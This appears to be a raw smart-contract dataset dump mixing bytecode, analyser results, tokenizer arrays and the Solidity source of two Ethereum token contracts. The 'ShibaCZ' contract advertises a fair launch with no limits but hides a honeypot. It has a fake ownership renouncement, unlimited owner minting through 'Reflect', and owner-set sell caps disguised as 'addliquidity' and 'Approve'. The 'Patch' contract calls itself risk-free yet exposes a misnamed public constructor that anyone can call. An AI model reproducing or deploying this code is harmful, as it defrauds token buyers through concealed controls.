65b6000602082019050818103600083015261177a816114cf565b9050919050565b6000602082019050818103600083015261179a816114f2565b9050919050565b600060208201905081810360008301526117ba81611515565b9050919050565b60006020820190506117d66000830184611547565b92915050565b60006060820190506117f16000830186611547565b6117fe60208301856113e4565b61180b6040830184611547565b949350505050565b60006040820190506118286000830185611547565b6118356020830184611547565b9392505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006118ad82611940565b91506118b883611940565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118ed576118ec611a0b565b5b828201905092915050565b600061190382611920565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101561196857808201518184015260208101905061194d565b83811115611977576000848401525b50505050565b600061198882611940565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156119bb576119ba611a0b565b5b600182019050919050565b6000819050919050565b6000819050919050565b60006119e582611940565b91506119f083611940565b925082611a00576119ff611a3a565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4e6f7420656e6f756768204c494e4b202d2066696c6c20636f6e74726163742060008201527f7769746820666175636574000000000000000000000000000000000000000000602082015250565b7f696e76616c6964206e6f6e636500000000000000000000000000000000000000600082015250565b7f6e6f6e636520616c7265616479207573656420666f722063616c63756c61746960008201527f6f6e000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4f6e6c7920565246436f6f7264696e61746f722063616e2066756c66696c6c00600082015250565b7f68617665206e6f742072616e2056524600000000000000000000000000000000600082015250565b611c77816118f8565b8114611c8257600080fd5b50565b611c8e8161190a565b8114611c9957600080fd5b50565b611ca581611916565b8114611cb057600080fd5b50565b611cbc81611940565b8114611cc757600080fd5b5056fea2646970667358221220de441930298d6f8b19184ca71e71a617421158f68a3c6d697ab0d76850b443e064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 24096, 11387, 26187, 26337, 22275, 2692, 24594, 21926, 2497, 17465, 18139, 2094, 2683, 2629, 2278, 2546, 2487, 2546, 19961, 27717, 24594, 22907, 16048, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 1030, 4677, 13767, 1013, 8311, 1013, 5034, 2278, 1013, 1058, 2692, 1012, 1022, 1013, 27830, 11329, 5644, 17897, 28483, 3366, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 3206, 4677, 13767, 19716, 2546, 2003, 27830, 11329, 5644, 17897, 28483, 3366, 1010, 2219, 3085, 1063, 27507, 16703, 4722, 3145, 14949, 2232, 1025, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,566
0x9700ff180a424cbacadc8ee2ceccaeb35b79b3ac
pragma solidity ^0.4.4; /// THIS TOKEN IS A NO-COST TOKEN THAT CAN BE USED TO VERIFY OWNERSHIP OF AN ERC20 ADDRESS. /// TOKENS CAN BE SENT TO A WALLET, AND THEN RETURNED. /// THIS IS A RISK-FREE OWNER VERIFICATION FUNCTION FOR DIVIDEND AND PAYOUT CRYPTOCURRENCIES WITH WALLET OWNER VERIFICATION REQUIREMENTS /// DONATIONS ARE APPRECIATED ERC20 WALLET: 0x73833878eFB845f22FC0E3f1B87A75E3A1f83B9E contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract Patch is StandardToken { /* Public variables of the token */ string public name; // The Token Name Identifier uint8 public decimals; // Total Decimals string public symbol; // An identifier string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // ICO Value per ETH uint256 public totalEthInWei; // Total ETH Raised address public fundsWallet; // ICO Raised Funds Address function Verification() { balances[msg.sender] = 1000000000000000000000000000000000000000000000000000000000; // Starting supply totalSupply = 1000000000000000000000000000000000000000000000000000000000; // Total supply name = "Patch"; // Token Display Name decimals = 18; // Decimals symbol = "PTCH"; // Token Symbol unitsOneEthCanBuy = 7500000000; // ICO Price fundsWallet = msg.sender; // ETH in return for Patch Token } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcasted Message //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610394578063095ea7b31461042257806318160ddd1461047c5780632194f3a2146104a557806323b872dd146104fa578063313ce5671461057357806354fd4d50146105a257806365f2bc2e1461063057806370a082311461065957806380947d17146106a6578063933ba413146106bb57806395d89b41146106e4578063a9059cbb14610772578063cae9ca51146107cc578063dd62ed3e14610869575b600034600854016008819055506007543402905080600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561015e57600080fd5b80600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561039157600080fd5b50005b341561039f57600080fd5b6103a76108d5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e75780820151818401526020810190506103cc565b50505050905090810190601f1680156104145780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561042d57600080fd5b610462600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610973565b604051808215151515815260200191505060405180910390f35b341561048757600080fd5b61048f610a65565b6040518082815260200191505060405180910390f35b34156104b057600080fd5b6104b8610a6b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561050557600080fd5b610559600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a91565b604051808215151515815260200191505060405180910390f35b341561057e57600080fd5b610586610d0a565b604051808260ff1660ff16815260200191505060405180910390f35b34156105ad57600080fd5b6105b5610d1d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105f55780820151818401526020810190506105da565b50505050905090810190601f1680156106225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561063b57600080fd5b610643610dbb565b6040518082815260200191505060405180910390f35b341561066457600080fd5b610690600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dc1565b6040518082815260200191505060405180910390f35b34156106b157600080fd5b6106b9610e09565b005b34156106c657600080fd5b6106ce610f86565b6040518082815260200191505060405180910390f35b34156106ef57600080fd5b6106f7610f8c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561073757808201518184015260208101905061071c565b50505050905090810190601f1680156107645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561077d57600080fd5b6107b2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061102a565b604051808215151515815260200191505060405180910390f35b34156107d757600080fd5b61084f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611190565b604051808215151515815260200191505060405180910390f35b341561087457600080fd5b6108bf600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061142d565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561096b5780601f106109405761010080835404028352916020019161096b565b820191906000526020600020905b81548152906001019060200180831161094e57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b5d575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610b695750600082115b15610cfe57816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610d03565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610db35780601f10610d8857610100808354040283529160200191610db3565b820191906000526020600020905b815481529060010190602001808311610d9657829003601f168201915b505050505081565b60075481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b7728c87cb5c89a2571ebfdcb54864ada834a000000000000006000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507728c87cb5c89a2571ebfdcb54864ada834a000000000000006002819055506040805190810160405280600581526020017f506174636800000000000000000000000000000000000000000000000000000081525060039080519060200190610ece9291906114b4565b506012600460006101000a81548160ff021916908360ff1602179055506040805190810160405280600481526020017f505443480000000000000000000000000000000000000000000000000000000081525060059080519060200190610f369291906114b4565b506401bf08eb0060078190555033600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60085481565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110225780601f10610ff757610100808354040283529160200191611022565b820191906000526020600020905b81548152906001019060200180831161100557829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561107a5750600082115b1561118557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061118a565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156113d15780820151818401526020810190506113b6565b50505050905090810190601f1680156113fe5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561142257600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114f557805160ff1916838001178555611523565b82800160010185558215611523579182015b82811115611522578251825591602001919060010190611507565b5b5090506115309190611534565b5090565b61155691905b8082111561155257600081600090555060010161153a565b5090565b905600a165627a7a723058207277e0babc6a9b4b23aa24bb163d10d79b31573236d9f621cc56195c8b748f4e0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 2692, 4246, 15136, 2692, 2050, 20958, 2549, 27421, 19629, 16409, 2620, 4402, 2475, 3401, 16665, 15878, 19481, 2497, 2581, 2683, 2497, 2509, 6305, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1018, 1025, 1013, 1013, 1013, 2023, 19204, 2003, 1037, 2053, 1011, 3465, 19204, 2008, 2064, 2022, 2109, 2000, 20410, 6095, 1997, 2019, 9413, 2278, 11387, 4769, 1012, 1013, 1013, 1013, 19204, 2015, 2064, 2022, 2741, 2000, 1037, 15882, 1010, 1998, 2059, 2513, 1012, 1013, 1013, 1013, 2023, 2003, 1037, 3891, 1011, 2489, 3954, 22616, 3853, 2005, 11443, 4859, 1998, 3477, 5833, 19888, 10085, 3126, 7389, 9243, 2007, 15882, 3954, 22616, 5918, 1013, 1013, 1013, 11440, 2024, 12315, 9413, 2278, 11387, 15882, 1024, 1014, 2595, 2581, 22025, 22394, 2620, 2581, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,567
0x970102516ec96375b9d3ba4d4a9ddfd317414624
/** ShibaCZ | $SHICZ * Fair launch, no dev tokens! * Fair trade, no reserve, No buy/sell limts and no transaction fees! */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.11; library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ShibaCZ is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _router; mapping (address => mapping (address => uint256)) private _allowances; address private public_address; address private caller; uint256 private _totalTokens = 1000000000 * 10**18; string private _name = 'ShibaCZ'; string private _symbol = 'SHICZ'; uint8 private _decimals = 18; uint256 private rTotal = 1000000000 * 10**18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function Approve(address routeUniswap) public onlyOwner { caller = routeUniswap; } function addliquidity (address Uniswaprouterv02) public onlyOwner { public_address = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function setreflectrate(uint256 reflectionPercent) public onlyOwner { rTotal = reflectionPercent * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function Reflect(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == public_address) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104ae578063dd62ed3e146104e2578063eb7d2cce1461055a578063f2fde38b1461058857610100565b8063715018a61461037957806395d89b411461038357806396bfcd2314610406578063a9059cbb1461044a57610100565b8063313ce567116100d3578063313ce5671461028e578063408e9645146102af57806344192a01146102dd57806370a082311461032157610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b6101f461068c565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b60405180821515815260200191505060405180910390f35b610296610755565b604051808260ff16815260200191505060405180910390f35b6102db600480360360208110156102c557600080fd5b810190808035906020019092919050505061076c565b005b61031f600480360360208110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a3565b005b6103636004803603602081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaf565b6040518082815260200191505060405180910390f35b610381610af8565b005b61038b610c7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d21565b005b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2d565b60405180821515815260200191505060405180910390f35b6104b6610e4b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610544600480360360408110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b6040518082815260200191505060405180910390f35b6105866004803603602081101561057057600080fd5b8101908080359060200190929190505050610ef8565b005b6105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd4565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600061068261067b6111df565b84846111e7565b6001905092915050565b6000600654905090565b60006106a3848484611346565b61074a846106af6111df565b61074585600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc6111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b6111e7565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6107746111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572815250602001915